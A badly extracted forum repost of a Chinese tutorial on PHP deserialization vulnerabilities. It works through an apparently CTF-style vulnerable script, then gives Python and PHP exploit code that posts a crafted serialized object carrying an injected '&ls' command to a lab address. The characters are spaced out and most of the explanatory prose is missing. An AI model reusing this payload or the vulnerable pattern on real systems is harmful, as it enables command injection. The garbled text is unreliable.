[14457] 2019-08-11_PHP反序列化漏洞简介及相关技巧小结

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-08-11_PHP反序列化漏洞简介及相关技巧小结 P H P x i a o p a n 2 3 3   F r e e B u f   2 0 1 9 - 0 8 - 1 1 P H P P H P 西 西 p h p p h p p h p s e r i a l i z e u n s e r i a l i z e O : 4 4 : T e s t : 3 3 a   s : 1 : a ; s : 5 : T h i s A ; s 1 a a   a p u b l i c b p r o t e c t e d p h p   % 0 0 u r l h e x 0 x 0 0 N U L L p r o t e c t e d % 0 0 % 0 0 < ? p h p c l a s s   T e s t {                   p u b l i c $ a   =   ' T h i s A ' ;                   p r o t e c t e d $ b   =   ' T h i s B ' ;                   p r i v a t e $ c   =   ' T h i s C ' ;                   p u b l i c f u n c t i o n   t e s t 1 ( ) {                                     r e t u r n ' t h i s   i s   t e s t 1   ' ;                   } } $ t e s t   =   n e w   T e s t ( ) ; v a r _ d u m p ( s e r i a l i z e ( $ t e s t ) ) ; ? >
p r i v a t e % 0 0 % 0 0 T e s t t e s t 1 p h p _ _ c o n s t r u c t   _ _ d e s t r u c t   _ _ t o S t r i n g   使 _ _ s l e e p   _ _ w a k e u p   < ? p h p c l a s s   T e s t {                   p u b l i c $ a   =   ' T h i s A ' ;                   p r o t e c t e d $ b   =   ' T h i s B ' ;                   p r i v a t e $ c   =   ' T h i s C ' ;                   p u b l i c f u n c t i o n   t e s t 1 ( ) {                                     r e t u r n ' t h i s   i s   t e s t 1   ' ;                   } } $ t e s t   =   n e w   T e s t ( ) ; $ s T e s t   =   s e r i a l i z e ( $ t e s t ) ; $ u s T e s t   =   u n s e r i a l i z e ( $ s T e s t ) ; v a r _ d u m p ( $ u s T e s t ) ; ? > < ? p h p c l a s s T e s t {                   p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                                     e c h o   ' c o n s t r u c t   r u n ' ;                   }                   p u b l i c   f u n c t i o n   _ _ d e s t r u c t ( ) {                                     e c h o   ' d e s t r u c t   r u n ' ;                   }                   p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {
s l e e p r e t u r n t o S t r i n g e c h o r e t u r n                   p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {                                     e c h o   ' t o S t r i n g   r u n ' ;                   }                   p u b l i c   f u n c t i o n   _ _ s l e e p ( ) {                                     e c h o   ' s l e e p   r u n ' ;                   }                   p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {                                     e c h o   ' w a k e u p   r u n ' ;                   } } / * * / e c h o ' n e w _ _ c o n s t r u c t < / b r > ' ; $ t e s t =   n e w   T e s t ( ) ; / * * / e c h o ' < / b r > s e r i a l i z e _ _ s l e e p < / b r > ' ; $ s T e s t =   s e r i a l i z e ( $ t e s t ) ; / * * / e c h o ' < / b r > u n s e r i a l i z e _ _ w a k e u p < / b r > ' ; $ u s T e s t =   u n s e r i a l i z e ( $ s T e s t ) ; / * * / e c h o ' < / b r > T e s t 使 _ _ t o S t r i n g < / b r > ' ; $ s t r i n g =   ' h e l l o   c l a s s   '   .   $ t e s t ; / * * / e c h o ' < / b r > _ _ d e s t r u c t < / b r > ' ; ? >
5 _ _ c o n s t r u c t h t t p s : / / w w w . c n b l o g s . c o m / n u l 1 / p / 9 9 2 8 7 9 7 . h t m l < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; c l a s s   c o m e {               p r i v a t e   $ m e t h o d ;       p r i v a t e   $ a r g s ;       f u n c t i o n   _ _ c o n s t r u c t ( $ m e t h o d ,   $ a r g s )   {               $ t h i s - > m e t h o d   =   $ m e t h o d ;               $ t h i s - > a r g s   =   $ a r g s ;         }       f u n c t i o n   _ _ w a k e u p ( ) {               f o r e a c h ( $ t h i s - > a r g s   a s   $ k   = >   $ v )   {                       $ t h i s - > a r g s [ $ k ]   =   $ t h i s - > w a f ( t r i m ( $ v ) ) ;               }         }       f u n c t i o n   w a f ( $ s t r ) {
      f u n c t i o n   w a f ( $ s t r ) {               $ s t r = p r e g _ r e p l a c e ( " / [ < > * ; | ? n   ] / " , " " , $ s t r ) ;               $ s t r = s t r _ r e p l a c e ( ' f l a g ' , ' ' , $ s t r ) ;               r e t u r n   $ s t r ;       }                             f u n c t i o n   e c h o s ( $ h o s t ) {               s y s t e m ( " e c h o s   $ h o s t " . $ h o s t ) ;         }       f u n c t i o n   _ _ d e s t r u c t ( ) {               i f   ( i n _ a r r a y ( $ t h i s - > m e t h o d ,   a r r a y ( " e c h o s " ) ) )   {                       c a l l _ u s e r _ f u n c _ a r r a y ( a r r a y ( $ t h i s ,   $ t h i s - > m e t h o d ) ,   $ t h i s - > a r g s ) ;               }         } } $ f i r s t = ' h i ' ; $ v a r = ' v a r ' ; $ b b b = ' b b b ' ; $ c c c = ' c c c ' ; $ i = 1 ; f o r e a c h ( $ _ G E T   a s   $ k e y   = >   $ v a l u e )   {               i f ( $ i = = = 1 )               {                       $ i + + ;                             $ $ k e y   =   $ v a l u e ;               }               e l s e { b r e a k ; } } i f ( $ f i r s t = = = " d o l l e r " ) {       @ p a r s e _ s t r ( $ _ G E T [ ' a ' ] ) ;       i f ( $ v a r = = = " g i v e " )         {               i f ( $ b b b = = = " m e " )               {                       i f ( $ c c c = = = " f l a g " )                       {                                 e c h o " < b r > w e l c o m e ! < b r > " ;                                 $ c o m e = @ $ _ P O S T [ ' c o m e ' ] ;                                 u n s e r i a l i z e ( $ c o m e ) ;                         }               }               e l s e               { e c h o   " < b r > t h i n k   a b o u t   i t < b r > " ; }         }       e l s e         {               e c h o   " N O " ;         } } e l s e {       e c h o   " C a n   y o u   h a c k   m e ? < b r > " ; } ? >
p a r s e _ s t r i f p a r s e _ s t r G E T a p a r s e _ s t r   &   ? f i r s t = d o l l e r & a = v a r = g i v e & b b b = m e & c c c = f l a g ? f i r s t = d o l l e r & a = v a r = g i v e & b b b = m e & c c c = f l a g a G E T f i r s t a p h p ? f i r s t = d o l l e r & a = v a r = g i v e & b b b = m e & c c c = f l a g 4 a v a r = g i v e & u r l G E T b b b = m e G E T U R L 西 & U R L U R L p h p u r l e n c o d e & U R L % 2 6 ? f i r s t = d o l l e r & a = v a r = g i v e % 2 6 b b b = m e % 2 6 c c c = f l a g P O S T c o m e c o m e c o n s t r u c t w a k e u p d e s t r u c t w a k e u p w a f _ _ d e s t r u c t 使 c a l l _ u s e r _ f u n c _ a r r a y p h p c a l l _ u s e r _ f u n c _ a r r a y
c a l l _ u s e r _ f u n c _ a r r a y ( ) $ t h i s - > m e t h o d $ t h i s - > a r g s i f c a l l _ u s e r _ f u n c _ a r r a y ( ) i f e c h o s m e t h o d e c h o s e c h o s s y s t e m e c h o s c a l l _ u s e r _ f u n c _ a r r a y ( ) 1 m e t h o d a r g s 2   m e t h o d e c h o s i f 3 c a l l _ u s e r _ f u n c _ a r r a y ( ) e c h o s - 4 e c h o s s y s t e m a r g s w a k e u p d e s t r u c t c o n s t r u c t n e w c o n s t r u c t w a k e u p a r g s f o r e a c h w a f a r g s w a f a r g s / | | | 使 &  
a r g s f l a g f l a g f l a g s y s t e m e c h o e c h o s & & & | | | 使 & 使 & & P o s t m a n 2 e r r o r _ r e p o r t i n g ( 0 ) ; p a y l o a d e m m m   n o   r e s p o n o s e
v a r _ d u m p v a r _ d u m p p r i v a t e p r o t e c t e d 0 x 0 0 e c h o N U L L v a r _ d u m p v a r _ d u m p 0 x 0 0 p y t h o n p h p 0 x 0 0 p y t h o n 2 . 7 d e c o d e e n c o d e
p h p u r l d e c o d e % 0 0 p o s t m a n u r l e n c o d e / u r l d e c o d e 0 x 0 0 u r l % 0 0 u r l i m p o r t   r e q u e s t s s   =   r e q u e s t s . s e s s i o n ( ) u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 2 7 . 1 4 4 / ? f i r s t = d o l l e r & a = v a r = g i v e % 2 6 b b b = m e % 2 6 c c c = f l a g " n   =   ' 0 0 ' . d e c o d e ( ' h e x ' ) o   =   ' O : 4 : " c o m e " : 2 : { s : 1 2 : " ' + n + ' c o m e ' + n + ' m e t h o d " ; s : 5 : " e c h o s " ; s : 1 0 : " ' + n + ' c o m e ' + n + ' a r g s " ; a : 1 : { i : 0 ; s : 3 : " & l s " ; } } ' r   =   r e q u e s t s . p o s t ( u r l , d a t a = { " c o m e " : o } ) p r i n t ( r . t e x t ) < ? p h p $ c u r l   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c u r l , C U R L O P T _ U R L , ' h t t p : / / 1 9 2 . 1 6 8 . 2 7 . 1 4 4 / ? f i r s t = d o l l e r & a = v a r = g i v e % 2 6 b b b = m e % 2 6 c c c = f l a g ' ) ; c u r l _ s e t o p t ( $ c u r l , C U R L O P T _ P O S T ,   1 ) ; $ n   =   u r l d e c o d e ( ' % 0 0 ' ) ; $ o   =   ' O : 4 : " c o m e " : 2 : { s : 1 2 : " ' . $ n . ' c o m e ' . $ n . ' m e t h o d " ; s : 5 : " e c h o s " ; s : 1 0 : " ' . $ n . ' c o m e ' . $ n . ' a r g s " ; a : 1 : { i : 0 ; s : 3 : " & l s " ; } } ' ; c u r l _ s e t o p t ( $ c u r l , C U R L O P T _ P O S T F I E L D S ,   [ ' c o m e ' = > $ o ] ) ; c u r l _ e x e c ( $ c u r l ) ; c u r l _ c l o s e ( $ c u r l ) ; ? >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则